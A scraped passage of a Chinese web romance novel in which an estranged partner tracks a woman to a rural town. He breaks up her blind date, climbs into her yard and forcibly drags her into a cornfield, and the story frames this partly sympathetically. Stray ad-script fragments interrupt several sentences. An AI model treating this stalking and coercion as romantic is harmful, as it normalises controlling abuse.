姚柔伊回:【好的,我10点半睡觉,9点就要到家。】 何俊良:【好健康的作息,吾辈楷模[/抱拳]。】 姚柔伊没回。 过了一分钟对面又发:【请问你朋友圈背景是你自己画的吗?】 姚柔伊好久没刷朋友圈,自打生活发生变故之后,她就提不起发朋友圈的兴趣,她的朋友圈设置的是半个月可见,此刻何俊良没法看到她的朋友圈内容,只能从朋友圈背景入手。 何俊良:【抱歉,我就是好奇问一下,之前听介绍人说你会画画。】 姚柔伊点进朋友圈,看见那幅画,《自由》,画的是新疆的草原,顾阎策马奔腾的背影。 大意了,她居然忘了把这张图给换下来。 姚柔伊随便挑了张落日风景图,换下了这张画。 姚柔伊:【是我画的】 何俊良:【你画画真好看】 姚柔伊:【画上那人是我前夫】 对方一直显示正在输入中,却迟迟没有发过来,估计在打了删、删了打。 姚柔伊噗呲一声笑出来,逗人的感觉真好玩。 见她笑出来,阿芸好奇地伸过头去,“聊什么呢,笑成这样?” 姚柔伊忍俊不禁地摇头,“我刚跟他说我有前夫,他不敢回了。” “哎呦。”阿芸感叹一声:“哪有姑娘家一上来就聊前夫的,他不问你就不说嘛。” 姚柔伊:“这多有意思,他要接受不了,还不如不见,浪费彼此时间。” 语毕,收到了何俊良总算编辑好的回复。 【我觉得每个人都有过去,但只要真正放下了,就能开启新生活,如果我说自己一点不介意你有婚史,那多少也是假话,但如果今晚见面,我们两人如果投缘的话,也是可以继续接触下去的。】 这段话还挺有诚意的,姚柔伊对他初印象还不赖,故而也不继续逗他了。 【好的,期待晚上的见面。】其实并不咋期待,她想。 下午六点时,何俊良给她发消息,要开车去接她,问她几点到合适。 姚柔伊:【直接过来】 反正她有不用收拾什么。 自打她开始“流浪”以来,基本上只涂面霜和防晒,整日素面朝天的,头发更是直接抓成一个丸子头。穿衣也是怎么舒服怎么来,今日份衣着是oversize风格,宽松t恤配阔腿裤,一整个松弛感拉满了。 她身形偏薄,穿这种风格,有种清瘦纸片感。 何俊良看到姚柔伊的那一刻,有种被大饼砸中的不真切感觉,她真的就和照片里的样子如出一辙,不对,应该是更鲜活生动。 好看的人披着麻袋都是好看的,姚柔伊这种随意的、未施粉黛的风格,一下子就戳中了何俊良的心巴上,他一时间有些看呆。 直到姚柔伊拉开副驾驶门,坐了进去之后,他才如梦方醒。 意识到自己的失态,何俊良懊恼万分,刚才自己应该主动帮她拉车门的。 他在心中给自己打气,加油,好好表现,有机会的。 在车里,姚柔伊大致观察了一下,他的车虽不是豪车,但收拾得很干净,还放了香包,车内空气清新,姚柔伊略调高一点好感值。 何俊良长相属于五官端正有点小帅的类型,发型是板寸,个子倒是还行,应该是没有水分的一米八。 对于姚柔伊的择偶标准而言,他还远远不够格 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,但对于相亲市场的现状而言,他确实算优质的,难怪眼光高挑挑拣拣的。 “有什么想吃的吗?”何俊良问。 姚柔伊随口说:“烤鱼吧。” 天啊,居然不是回答“随便”,不用让他做纠结,何俊良对姚柔伊的好感度再次疯狂拉高。 两人来到一家烤鱼店,小镇上没什么连锁餐饮店,每家店都有自己独一无二的口味,就像开盲盒一样。 点菜时,何俊良问姚柔伊的口味,“能吃辣吗?” 姚柔伊摇头:“不吃,我养生。” “好巧,我也不吃辣,之前和朋友聚餐,他们点菜必点辣,现在难得能遇见完全不吃辣的人。” “确实,我以前也吃辣。” 何俊良问:“你生活作息好健康,都有点不像同龄人了,不熬夜也不吃辣,怎么做到的呀?” 姚柔伊喝了口温水,“以前身体差还晕倒进医院了,现在痛改前非,好好生活。” “果然,一个人也太危险了,晕倒了没人发现可不好办。”何俊良点评:“两个人在一起就能杜绝这种风险。” “不见得,要是一个人在家,另一个人没在家呢?” “但总是比一个人独处好。” “我觉得一个人挺好的,我这些天过得也挺快乐的。” 何俊良:“你不打算结束这种状态吗?是因为没有相中我?” “哈哈,我要是说我是被迫的你信吗?”姚柔伊笑着说,“对不起哈,这顿我请,我确实没有结婚的想法。” “那你和前夫怎么结婚的?”何俊良有些不服气,“是因为第一段婚姻让你受伤了?” “没有前夫,我糊弄阿芸的。” 服务员将烤鱼端上来,香味四溢,姚柔伊的注意力已经不在聊天上。 何俊良强忍着嘴角的笑,内心狂喜,原来她根本就没有婚史,最让他难以接受的一点居然是假的,他感觉老天爷给他砸下来的馅饼又大了一圈。 虽然她暂时没有看中他,但没事,烈女怕缠郎,只要他用心,不怕姚柔伊不感动。 他用公筷,不停给姚柔伊夹肉。 两次下来,姚柔伊停止了吃饭的动作,不悦道:“别老给我夹东西,我不喜欢。” 何俊良讪讪地收回了手,心道,没事没事,美女都是有性格的,他需要再有耐心一点。 姚柔伊吃饭安静,饱了后就不再动筷,“口味还可以。” 何俊良心思都在她身上,吃的是囫囵吞枣,什么味都没尝出来,附和道:“是的,喜欢的话以后可以再来。” 付账的时候,姚柔伊表示她请,何俊良说什么也要他买单,两人在收银台争执不休,最后收银小姑娘扫了男生的码。 离店之后,何俊良立马提议:“要不逛逛。” 小镇的黑夜不比城市夜景灯火通明,此刻道路上除了没关门的店铺还传出光亮,其余地方都是乌漆嘛黑。 姚柔伊蹙眉:“太黑了,有什么好逛的。” “就是消消食。”何俊良尴尬地抓抓脑壳。 其实他就是想延长和姚柔伊的独处时光,不舍得吃完饭马上把她送回去。 何俊良指着远处一座八角亭,“亭子那里有灯光,我们去那转转吧。” 姚柔伊看过去,亭子确实有灯光,梁脊上装上了灯带,梁顶上也有吊灯,亭子里还有条宽大高瘦的黑色人影。 姚柔伊点头,“行吧。” 谁让这顿饭是他付的账,吃人嘴短呢,只能陪他散个步。 两人并肩走的时候,何俊良一直往姚柔伊这边靠,手也蠢蠢欲动,走到亭子前时,何俊良心下一横,伸手去抓姚柔伊的手,心道被甩开就被甩开吧,万一没被甩,那就是重大进展。 奈何他的手还没碰到姚柔伊,一股强劲外力自他肩膀袭来,猛地一下捏着他的肩膀,将他狠狠拽开。 何俊良被这股霸道的蛮力拽得朝一旁踉跄几步,站稳后,对着面前突然闪现的陌生男人呵斥:“谁啊?!” 姚柔伊看清来人,瞳孔地震,高声尖叫:“鬼啊!” 46. 第 46 章 姚柔伊寄给老姚的照片,顾阎保存下来后,交代助理联系专业人士,帮忙确定图片里的地方究竟是哪里。 大概一周后,拿到了具体地址。一个遥远和陌生的小镇。 顾阎没法再继续等待下去,他的心已经飞跃千山万岭,直奔姚柔伊驻足的小镇。 来到小镇后,顾阎缓慢行走,观察着这个镇子,这里人住的都是两层自建房小楼房,各家盖的楼大不相同,凌乱错落,路面是水泥路,街道上的商店广告牌斑驳掉色,这里唯一能称道的都是自然风光还算不错,有大片原生态的树林,山坡和田地。 他实在搞不懂,这样的小镇,连生活便利性都无法保证,到底是什么打动了姚柔伊,让她选择停留在这里? 是自然风光?可这里没有任何值得开发的旅游资源。是民风淳朴?可封塞的小镇里一向人言可畏,不容小觑。是节奏悠闲?可姚柔伊是自由职业者,本就是自己安排生活节奏。 他想不通,难道仅仅是这里离他很远,他找不到她吗? 小镇不大,他慢慢悠悠两个小时就转完一圈,最后停在姚柔伊租的房子前,那小花园和照片里的极为相似,隔壁人家在园子里种菜,只有姚柔伊种的是花,颜色各异、长势喜人的月季花。 房门紧锁,里面没人。 她去哪了?日头西沉,天色渐暗,现在是饭点,她居然不在家。 顾阎想,她估计是去吃饭了,她不会做饭,小镇上又没有外卖服务,她肯定去街上饭店里解决温饱了。 顾阎抬腿想走,恰巧隔壁的阿芸出来扔垃圾,看见了他。 陌生又英俊的男人,穿的是城里人才穿的衬衫西裤,和小镇格格不入,像画报里的模特走进了现实。 上个给阿芸留在这种印象的人,还是一个多月前搬来的姚柔伊。 他们两个人才是一个画风的,都好似活在电视机里的人。 “你是来找小姚的吗?你是她哥哥吗?”阿芸操着一口浓重乡音的普通话问他。 顾阎摇头:“我是她爱人。” 阿芸惊得倒抽一口气,连连摆手:“不可能,她男人已经死了,出车祸走了,你别胡说。” 原来她是这么跟别人提起自己的吗?坟头草已经两米高了。 顾阎不打算计较:“我确实是来找她的,她去哪里了?” 阿芸说:“她去相亲哩。” 顾阎嘴角僵了一下,面色阴沉,好在天色黑,看不真切,没有吓到阿芸。 阿芸滔滔不绝:“我阿娘给介绍的小伙子,条件可好了,也不嫌弃小姚是二婚,我看这事能成,小姚有了伴,也就不用天南海北到处漂了,姑娘家家的,还是得有个汉子疼才好。” 阿芸还没说完,就见这男人气汹汹地快步离开了。 顾阎在街道上来回踱步,未见到姚柔伊的踪影,一想到她现在正不知和哪个男人相亲吃饭,他就恨不得把那男人提溜出来,狠狠揍一顿,对她说,看,你找的男人真是个废物,连你都保护不了,还不如回到我身边。 跟过狮子的女人,怎么可能会看得上鬣狗。 他最后转悠到八角亭,在亭子里抽烟,他暗下决定,如果抽完三支烟之后,还没有看到姚柔伊的身影,他就翻墙进她租的房子,躺在院子里的躺椅上,等她回来。 如果她彻夜不归,他就…… 他心脏突突地疼,想不出生气报复的对策来,他只能苦苦等待,等她出现。 好在抽完第二支烟,他看见她,以及她身边那道扎眼至极的身影。 呵呵,她居然真跑去相亲了,隔壁的阿芸没有骗他。 她怎么敢的?他怒火中烧,他理智全无,可面色如常,看不出半点异样。 失去她的这段时间,顾阎已经将“两面派”修炼到炉火纯青的地步。 那个男人有色心没色胆,一点点朝她身边挤,简直不堪入目,顾阎想,姚柔伊一定不会看上这种男人,她的品味不会跌到这种地步。她完全心不在焉,一直在看路面,连头都没抬一下。 他刚觉得那人有色心没色胆,结果那男人仿佛是读到了他的内心想法,一改怂态,突然伸出手去。 一直在旁观察的顾阎登时警铃大作,身体比大脑更先一步,擒住那人的肩膀,将其甩开。 变故袭来,姚柔伊这才惊醒,抬起头来,猝不及防地撞见了顾阎。 一个完全不可能出现在小镇里的人,就这么毫无征兆地现世了。 本就是黑夜,顾阎眼里的怨气比这夜色还要浓重,一时间姚柔伊以为撞鬼了。 她刚叫了两声,顾阎就上前捂住她的嘴,姚柔伊剧烈挣扎,频频向何俊良投递求救目光。 此时不上算什么男人,从军两年,何俊良比一般男人更具血性气概,如今又是心仪的美女向自己求救,就算自知不是眼前男人的对手,他也义无反顾地上前,一拳打向顾阎的脸。 顾阎本就经常练习拳击,何俊良出拳的速度在他眼里很小儿科,躲过去并不难,可如果选择躲,就需要放开姚柔伊。 顾阎不愿意松手,就只偏了下脑袋,躲去一半,嘴角被打到,口腔里升腾起血腥味,应当是牙龈出血。 鲜血激发男人的斗志,顾阎抬腿一脚踹向何俊良的胸口。 他的下盘一直是拳击长项,稳健有力,一脚下去,何俊良直接仰躺在地上。 丢了面子是男人大忌,何俊良从地上爬起来,意欲和顾阎扭打在一起,姚柔伊忙挣脱顾阎捂着她嘴巴的手,叫道:“不要打了!” 顾阎看了眼面色焦急慌乱的姚柔伊,压制着火气:“好,我听你的。” 说完,他又看向何俊良:“你走吧,你不是我的对手,我听我老婆的话,今天不跟你动手。” 何俊良如遭雷击,猛地看向姚柔伊,眼里满是不可思议,像是在问她,他说的是真的吗? 为了防止两个人打起来,姚柔伊只说:“你先回去吧,我认识他。” 她只说认识顾阎,却不承认与他有任何亲密关系。 这话落在两个男人耳里,他们俱不痛快,何俊良默认顾阎说的是真的,他们是夫妻关系,而顾阎则感伤于姚柔伊果真与他决裂。 何俊良失魂落魄地走了。 姚柔伊愧疚万分,对着他的背影道了句“对不起”。 何俊良走后,姚柔伊冷冷看向顾阎:“这位先生,请你放开我。” “刚才你亲口说认识我,怎么现在又装不认识了?” “不要逼我报警抓你!”姚柔伊咬牙切齿,她的眼里全是愤怒,以及嫌弃。 这点嫌弃的情绪深深刺痛到顾阎的神经,他松开了拉着她胳膊的手。 姚柔伊转身疾步离开。 顾阎安静地跟在她身后。 她变化好大,虽说面容和身形没变,但风格和气质同离开前大相径庭,从头到脚都写着随意两字。 如果说以前的姚柔伊是一只狡黠调皮、矜贵骄纵的宠物猫,那现在的姚柔伊,就像一只毛发乱糟糟,趴在草地上晒太阳的流浪狗。 可精致的美女有精致的风情,随意的美女自然也有随意的味道。 素面丸子头,宽松晃荡的衣服,像山间修行的女道士。 “你过得好吗?”顾阎开口。 没有回音。 “我过得一点都不好。”自问自答。 继续沉默。 “我好想你,我们能不能重新认识一下?”顾阎问。 姚柔伊脚步不停,这话仿佛根本就没有传进她的耳朵里。 顾阎继续发挥死皮赖脸的本事:“怎么样怎样你才能原谅我?” 姚柔伊置若罔闻,专注脚下的路。 晚上光线暗,小路两旁是半人高的灌木丛,姚柔伊夜视能力很差,心里发毛,越走越快。 奈何怕什么来什么,右侧灌木丛忽地窜出来一条小蛇,快速朝左边游走。 姚柔伊对爬行动物的恐惧深入骨髓,尽管只是一条手指粗细的小蛇,并很快钻进了另一侧的灌木丛中,消失不见,可姚柔伊还是吓得肾上腺激素飙升,尖叫连连,后退时踩到了顾阎的脚,背部撞到一堵坚实的胸膛。 “没事没事,小蛇已经跑走了。”顾阎环着她的背,轻声安慰她。 姚柔伊平静下来后,猛地推开顾阎,呵斥道:“不要碰我!” 说完,她朝家快步跑起来。 顾阎被推开后,心情格外 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 受伤,但还是快步跟着姚柔伊。挽回失去的珍宝,一定得要破釜沉舟的勇气和毅力,这点小事算什么呢?顾阎自我开导完,又恢复死皮赖脸模式。 “胆子这么小,还敢去流浪,还敢住在乡下小镇上?”顾阎摇头叹气:“好让我担心。” 姚柔伊一口气跑回了家。 她进院子后立马栓上门,把慢她一两步的顾阎隔绝在外。 顾阎敲门:“乖,让我进去。” “快滚。”姚柔伊道:“我根本不想看到你。” “开门。”顾阎敲门的动作更大了。 姚柔伊不为所动。 隔壁的阿松阿芸夫妇听见响声出来查看情况。 “你谁啊?”阿松一脸戒备,大晚上敲个姑娘的门,着实让人不放心。 阿芸:“人模人样的,还是个骗子,说是小姚的老公,结果连门都进不去。” 顾阎深呼吸,压抑情绪:“我的确是她男人。” 阿松:“你说是,小姚为什么不给你开门?” “我惹她生气了。” 阿松扬起嗓子问姚柔伊:“小姚,门口这人是你男人吗?” 姚柔伊朗声:“不是,就一变态,阿松哥求求你帮我赶走他。” 阿芸立刻反身回屋里扛出一把铁锨,递给阿松:“别跟他废话,他再不走直接用铁锨赶。” 牛啊,姚柔伊心里给阿芸点赞。 阿松拿着铁锨,面色严肃地警告顾阎:“赶紧走,不然我手里的家伙不认人。” 顾阎是不怕这铁锨的,大不了打起来的时候直接夺走,可他没必要跟这些人起冲突,他们是真心关心姚柔伊,是个热心靠谱的好邻居。 反正他的时间还很多,今天见到了姚柔伊,已经是个很好的开端,他有的是耐心徐徐图之。 “我走了。”顾阎高声道,说给里头的姚柔伊听。 见顾阎离去,越走越远后,阿松阿芸才松下一口气,阿芸敲门:“小姚,是我,那个变态已经走了。” 姚柔伊给她开门,阿芸遣阿松回家检查孩子作业,自己跟着姚柔伊进屋。 一进去,阿芸就开始询问相亲状况:“今天跟那小伙子见面咋样?相中没?” 姚柔伊给阿芸倒了一杯水,耸了耸肩:“估计没戏喽。” “啊?”阿芸颇有些遗憾:“唉,还以为能成一段好事呢。” 说完,她又拍拍姚柔伊的肩膀,安慰道:“没事,这个不成还有下个,我继续替你留意着。你看吧,今晚这个事,没个男人在真不行,你年轻长得俊,不找男人也会被变态缠上。” “不用给我介绍了。” “咋了?” “因为我要走了。” “走?”阿芸急道:“为什呢?你不是一下子租半年吗?” 这处地点已经被顾阎发现,他还找了过来,不再是安全宁静的地方,她必须要改变方位了。 “我本来就是打算旅居的,在这已经玩得差不多了,自然要走了。”姚柔伊上前抱了下阿芸:“没事,想我了就在微信上找我。” “是不是那个变态缠着你,你害怕了?”阿芸道:“我本来还以为他是你哥,来接你回家的呢。” 姚柔伊解释:“他是我前男友,刚刚说不认识他是不想见他,我也没有什么死了的老公,对不起骗了你们。” “哦,怪不得呢,他看着就跟你一个世界的人,我们这乡下没你们这么好看的人。”阿芸又说:“你放心,下次他敢再来找你,我还拿铁锨赶他。” 姚柔伊脑海中浮现起阿芸挥舞着铁锨,把顾阎追得乱窜的样子,噗呲一下笑出声。 阿芸八卦起来:“你们为啥分开了?”说完,她凑过来,小声说:“是不是在外头乱搞被你发现了?” 姚柔伊的笑僵住了,“瞎猜什么呢。” “肯定被我说中了!”阿芸拍腿,破口大骂:“男人真不是个东西,家里的再美也惦记外头的!” “对,不是个东西。”姚柔伊笑着附和气愤不已的阿芸。 原来几个月前那么痛苦的经历,如今也可以笑着和旁人开玩笑了。 姚柔伊想:放下,似乎也不是一件很难时事嘛。 47. 第 47 章 小镇上没有上档次的酒店,顾阎在镇中心街道找到一个广告牌一直亮着灯的酒店,想必是这里最高端的酒店,没得挑只能办理入住。 躺在并不舒适的床上,顾阎习惯性失眠,小镇与城市相比,条件着实艰苦,想到姚柔伊在这边受罪,他就揪心不已,就算要躲他,也应该去度假村之类的舒心地方。 这次顾阎一共挤出来三天的假期,来的时候浪费了一天,回去还得一天,真正能和姚柔伊完整相处的时间只有明天一天。 他迫不及待地想去找她,恨不得下一秒太阳就升起,哪怕他能预见到明天见到她时,根本得到一个好脸色。但那又如何,只要能见到她就行,比起永远没有尽头的等待,被拒绝也是一种幸福。 翌日清晨,顾阎起了个大早,路过早餐店,打包了小笼包、豆浆和茶叶蛋,前去姚柔伊家。 这次他学聪明了,不敲门直接翻墙头进,反正敲门她也不会开,还会惊动隔壁的人,惹上不必要的麻烦。 顾阎个高腿长,翻个墙头从技术上讲不在话下,只不过落地状态着实狼狈,八百年没干过这般偷偷摸摸的事,手里的豆浆都洒了一半。 翻进来之后,院子里头还有一道房门,依旧反锁,这个门无法靠不要脸就能进去的。 顾阎想敲门,又怕吓着还在睡觉的姚柔伊,只得坐在院子里的躺椅上等着她醒来。 姚柔伊调整作息之后,坚持早睡早起,没等一会儿就起床了。 房门发出开锁响声,几秒钟后姚柔伊蓬头垢面地出来,眼睛困得还没完全睁开。 顾阎出声:“早啊。” 冷不丁听见这话,姚柔伊直接吓出一个哆嗦,艾玛,昨晚疑似撞鬼,今早疑似遭贼,顾阎总给她来个出其不意,简直阴魂不散! 姚柔伊骂道:“神经病,再来一次我心脏病要给你吓出来了!” “抱歉,我的错,给你带了早餐,还热着。”顾阎脸带微笑,讨好地说。 “拿走,现在立刻离开,你做这些事一点意义都没有,我已经不在乎了。”姚柔伊困意全无,也不顾忌自己的形象,一字一句说:“我不希望你再介入到我的生活中。” 顾阎手指狠掐了一下掌心,用痛感分散内心酸楚,面上仍保持轻松的笑意:“那你就把我当成一个正在追求你的陌生人。” 姚柔伊忍不住翻白眼:“如果是陌生人,现在我已经报警处理了,真的有必要走到这一步吗?” “说明你还是舍不得我坐牢。”顾阎顺竿爬。 姚柔伊叹气,话锋一转忽然说道:“你知道我以前最喜欢你那一点吗?” 顾阎挑眉:“哪一点?” “就是你身上的潇洒自由劲,你还记得自己之前说过的话吗,爱了就在一起,不爱了就分开,没必要想太多,没必要勉强。”姚柔伊继续说:“你现在还有一点当初的样子吗,真的连最后一点好念想也要摧毁掉吗?” 顾阎挤出一丝苦笑:“你知道的,人总是会变。” 姚柔伊:“是啊,人是会变,从前因为你,我也改变了自己的爱情观,但后来,我发现我错了,我根本就是在自欺欺人,最后酿出苦果,也只能自己咽下去,犯错了就得改正,我不想沉溺于过去,我积极改正,我的状态一点一点变好,而你却突然出现,想搅乱一切。” “没有我,你在变好是吗?”顾阎眼睛里满是哀意,他怅惘地说:“可没有你,我变得一点也不好。” “哦,是吗?”姚柔伊耸肩,故作讶异:“那很抱歉,爱莫能助。” “之前你看到的那段视频是个误会。”顾阎解释:“如果你是因此选择离开,那我真的无法接受。” “我后来也想过,或许真像你说的,就是一个局,一个误会,用来离间我们。”姚柔伊点头表示同意:“但是,这已经没有意义了,能被撬动的关系,从深层次来讲,本就是有隐患的,我们对于孟筝这一点,一直都是避而不谈,这本就不正常,无非就是用最不体面的方式让我们面对这事,我后来选择放弃你,已经不再单纯是因为孟筝了。” 而是有更刻苦铭心的伤痛,她躺在病床上,听到医生说清宫手术的那一刻,内心万念俱灰。她的放下,虽称不上锥心刺骨,那也当得起割肉之痛。 “不是因为孟筝,只是单纯因为对我失望,对我没有做到当初你说的非你不可的标准失望了吗?” “没有意义了,我之前说的话多少有点幼稚。” “可我不觉得幼稚,你说那话时很美,我现在还能记得当时你的眼睛亮得不可思议。”所以这句话他记了很久。 姚柔伊不想跟他回忆过去,她转身进屋,顾阎上前堵住她的去处,“不行,我得知道你判我死刑的原因。” “我不想再跟你纠缠了。”姚柔伊说。 既然决定要断,她就不想把住院的事说出来,实在是剪不断、理还乱,她可不想顾阎因此悔恨不已,再没完没了地缠着她。 姚柔伊想,顾阎这人本来就挺傲气的,追女人也顶多低头个一时半会儿,等他多触几鼻子灰,自然就本性爆发,不再折腾了。 她始终没觉得自己在顾阎心里占据多大分量,顾阎这人心里可能根本不会给爱情划分多大的比重,所以他的爱情观才能保持洒脱自由。 这是姚柔伊唯一从他身上学来的东西。 想获得真正的自由,就是不要把任何事情看得太重。 她这些时间在外转悠这么久,心态越来越平和,就是因为她顾虑的事情越来越少,不再因为赚钱和成名而焦虑,有钱就多花,没钱就少花,她这些日子根本没画什么稿子,也没因为没收入而饿死,大不了存款花完,她再接点画稿,怎么样也能填饱肚子,她意外发现活着根本不需要多少钱。 对物欲降低之后,人的贪欲也随之降低,对于任何人和事都没有太大的执念,亲朋好友她也不像从前那般在乎,知道他们平安,偶尔也向他们汇报一下平安就够了,更多的精力还是应该放到自己身上,多关注自己的身体和情绪,多从生活中感悟快乐。 她现在喜欢观察生活中不容察觉的美,哪怕墙角的蚂蚁队伍,她也能蹲在那里看好一会,还会去后面的乡间小道上走走,看看成片的田野。这种在她以前看来完全没有意义的事情,做起来发现也挺好玩,谁规定只有不停劳作,产生个人价值的事情才是应该干的事呢? 当然,她偶尔也是有想干“正事”的时候,比如手痒了画点画,多数是风景写生,少数是趣味小条漫,虽不产生经济效益,但能满足自身的情绪价值。 或许有一天她在外玩累了,也会回家,甚至也会在旅途中遇到另一个命定之人,她对生活始终保持着期待,只要不看见顾阎,她还是挺悠闲自得的。 顾阎说:“可能你说的是真的,你不想跟我有任何纠缠。但是吧,我这个人可不是正人君子,玩不来什么好聚好散,我就一混蛋,想干什么就干什么,你不想跟我有纠缠,我偏偏想跟你有纠缠,腿长在我身上,我就跟着你了。” “有病。”姚柔伊头次见识到顾阎如此泼皮无赖的一面。 “对,我就是有病,你走了之后,我真的病了,感觉我快变成精神分裂了。” “有病就去看医生。” “你就是我的的医生,自从昨天看见你之后,明显病症都轻了。” “能不能让开,我还要刷牙洗脸梳头。”姚柔伊再度无语地翻白眼。 顾阎让开道路:“你现在这个样子也很好看,乱糟糟的小猫。” 姚柔伊恶心得起了鸡皮疙瘩,顾阎以前也没这么油嘴滑舌,可能真病急乱投医吃错药了。 姚柔伊进门后,顾阎也意图跟着进来,想看看屋里是什么装修陈设,被姚柔伊无情地反锁门,隔绝在外。 他只得讪讪地坐回躺椅上。 不管怎么说,看见她状态还挺好,他也算安心,心中宽慰自己,没事,两情若是长久时,又岂在朝朝暮暮,他有的是时间追回她。 姚柔伊回到房间内,洗漱完换好运动服和运动鞋,准备去晨跑,她没有逼迫自己天天跑,基本上一周跑个两三次。 见姚柔伊梳着高马尾,一身运动装,极具青春活力,顾阎眼前一亮,赞道:“看起来像学生。” 当即收到了姚柔伊的白眼。 “先把早餐吃了,等会我陪你一起跑。” “不需要,我晨练完自己去买早餐。” 顾阎感叹:“以前我早起运动时,拉你一起跑步,你从来没起来过,没想到现在这么自律了,变化真大。” 姚柔伊冷笑:“没有你,我会变得更好。” 顾阎笑道:“我们可以一起变好。” “没兴趣。”姚柔伊不再理会他,简单做个热身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 活动,然后出门慢跑。 顾阎跟在她身后。 对于身后如影随形的顾阎,姚柔伊置若罔闻,但架不住小镇村民看见顾阎后,忍不住向姚柔伊问,这是谁啊? 姚柔伊笑笑不说话,顾阎则自来熟地说,是她对象。 好在这是农田边的小路,基本没啥人,只遇见一两个和她打招呼的村民,不至于让她尴尬到想踹死他。 大概跑了十多分钟,小路两侧都是一人高的苞谷地,顾阎追上来,严肃地说:“以后不要来这边跑步,远离青纱帐,太危险了。” 其实不用顾阎提醒,姚柔伊平常也不来这边跑步,这点基本的安全意识她还是懂的,今天为了躲村民才来的,她边跑边说,话中带喘:“不用你操心。” 顾阎加重语气:“别跟我置气,你一个落单的女孩,在这边发生点意外,十天半个月都不会被人发现。” “我今天要是发生意外,那也是因为你。”姚柔伊没好气。 顾阎为了让她对自己的人身安全上点心,直接拖住她胳膊,往苞谷地深处走。 姚柔伊被拽得踉踉跄跄,她一边叫嚷,一边挣扎,可惜顾阎认真起来,手劲就像铁钳,她怎么都挣脱不开,这里人烟稀少,周围一个干农活的农民都没有,她喊了半天也没见一个人。 顾阎冷着脸,一言不发地拖着姚柔伊朝苞谷地深处走,这片苞谷地大得仿佛没有尽头,此时姚柔伊真的害怕起来,她不知道顾阎到底想干什么,也怕激怒到他,不再喊叫,挣扎的力气越来越弱,她另一只手握着顾阎的手腕,色厉内荏道:“放开我,我不来这边跑步了,我要回去。” 顾阎仍疾步向前。 姚柔伊快要急哭出来,早上没吃饭,现在腹中空空,体力不支,跟不上顾阎的步伐速度,她脚步凌乱又沉重,跘到一块黄土石,直接跪了下去。 “啊——”姚柔伊痛呼,跌跪坐地,她狠狠甩了一下臂膀,顾阎这才放开她。 姚柔伊抱着胳膊,埋头哭起来。 她很委屈,明明自己什么错也没有,为什么要经历这些东西?为什么顾阎非要不肯放过她? 顾阎焦急地蹲下,拉她的腿:“我看看。” 姚柔伊脚腕处很痛,被顾阎拉动时,更是传来尖锐剧痛,她又叫了一声,“别动,痛死了。” “崴脚了。”顾阎看她的脚腕有点不自然的弯曲,他一手固定脚腕,一手握着脚底板,动作快准狠地往上一扳,踝关节骨头咯嗒一声,姚柔伊再度痛呼。 顾阎又说:“好了,你动一下脚试试。” 姚柔伊依言活动了下脚腕,剧烈尖锐的疼痛感消失,脚能自如地活动。 顾阎放下心来,他说:“对不起。” “你一出现,就把我的生活搞得一团糟,又害我受伤。”姚柔伊委屈得大声控诉。 “对不起。”顾阎内疚地重复,“我没想你受伤,我的错。” “不论是不是你主观意愿,你一靠近我,我就是会受伤。”姚柔伊说:“所以,为了我的安全,我只能离你远点,如果你不肯离开,那就我走。” 她作势要起身,可脚腕突然又疼痛起来,站起来很艰难,顾阎扶着她,她才能起身。 “小心,别乱动,我背你。”顾阎在她面前蹲下身,扭头看她:“快上来。” 姚柔伊一动不动。 顾阎催促:“快点,回去后还得帮你再处理一下脚腕扭伤。” 姚柔伊为了身体健康,不得不低头,不情不愿地趴在他背上。 顾阎背起她,朝苞谷地外走。 “你真是有病。”姚柔伊说,“你不突然发一下疯,非要把我往苞谷地里拽,我也不至于受伤。” “你太气人了,总是不听话。”顾阎叹气:“我想给你个教训。” “呵呵,害我崴脚,可真是个教训。” “我真的一点点都不希望你受伤。”顾阎自责万分:“你要是生气,你就扇我。” 顾阎话音刚落,姚柔伊就毫不客气得朝他脸上扇了一巴掌,动作干脆、声音清脆。 顾阎一时有些懵。 姚柔伊等着他发飙,最好发完飚赶紧离开小镇。 顾阎丝毫没有生气的迹象,他甚至问道:“气消了没,要不再打一下?” 真是没脸没皮,姚柔伊感觉没劲透了,懒得扇他。 48. 第 48 章 阿芸正在门口浇菜,看见顾阎背着姚柔伊回来,俊男美女搁一块儿,打眼望去美不胜收,阿芸放下手里的水瓢,忍不住多瞧了两眼。 昨晚还跟阿芸一块骂了顾阎,今天就被他背着回来,姚柔伊实在没脸面对阿芸,尴尬地垂下脑袋。 倒是阿芸先过来关心她:“怎么了这是?” 顾阎替她开口:“脚崴了。” 阿芸面色不善地面对顾阎,狐疑道:“是不是你害的?” 顾阎当场哽住,什么鬼,问题一下子这么尖锐? 顾阎的反应印证了阿芸的猜想,她顿时觉得姚柔伊命苦,替她叫屈:“你这男人好坏的心肠,在外边勾搭女人,不跟小姚好好过日子,人家小姚好不容易走出来了开启新生活,你又巴巴地来追人,早干什么去了,现在小姚想离开了,你非要使坏把小姚的腿弄伤,让她走不了路,小姚真是倒八辈子霉遇见了你,长得人模狗样,心肠黑成这样!” 阿芸一个竹筒倒豆子,就把姚柔伊要走的计划全抖落出来。 姚柔伊既感激她仗义直言,又无语望天,阿芸啊阿芸,你怎么这么藏不住事呢? 顾阎被骂,丝毫不辩驳,点头应道:“是,你骂得对,我真不是个东西,早些时候没有好好珍惜小姚,现在后悔想弥补,也不知道小姚还愿不愿意给我这个机会?” 阿芸将信将疑:“你是真认错了?” 顾阎忙不迭回道:“那是当然,阿姐,你跟小姚走得近,你帮我劝劝呗。” 顾阎厚颜无耻地跟阿芸套起近乎。 阿芸继续追问:“那你外头的女人呢?” 孟筝的下落,姚柔伊也不知道,不由得竖着耳朵。 只听顾阎说:“外头没女人,那是个误会,那人闹自杀,我当时只能去救她,就送去医院的功夫,小姚就气跑了,那人抢救回来,出院之后就出国了,应当不会再回来。” 这段话太复杂,阿芸听着一愣一愣的,感慨起来:“什么人哦,好好日子不过非要闹自杀,你干了啥,那人为什么要为你闹自杀?” 姚柔伊简直要为阿芸的捕捉重点能力点赞。 顾阎:“不是为我闹自杀,是她生病了,精神类的病,之前老联系我也是跟生病有关,正常情况下不会这样的。” 阿芸更是一头雾水,干脆问道:“什么乱七八糟的,就说你到底喜欢哪个?是外头那个还是小姚?” 